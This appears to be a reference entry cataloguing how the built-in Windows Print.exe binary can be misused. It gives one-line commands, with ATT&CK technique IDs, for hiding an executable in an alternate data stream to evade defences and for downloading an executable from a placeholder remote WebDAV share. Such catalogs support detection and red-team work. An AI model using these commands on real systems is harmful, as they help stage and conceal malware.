.. /Print.exe
Star

Alternate data streams
Copy

Used by Windows to send files to the printer


Paths:

Resources:
Acknowledgements:

Detection:

Alternate data streams

  1. Copy file.exe into the Alternate Data Stream (ADS) of file.txt.

    print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe
    Use case
    Hide binary file in alternate data stream to potentially bypass defensive counter measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004

Copy

  1. Copy FileToCopy.exe to the target C:\ADS\CopyOfFile.exe

    print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe
    Use case
    Copy files
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105
  2. Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.

    print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe
    Use case
    Copy/Download file from remote server
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105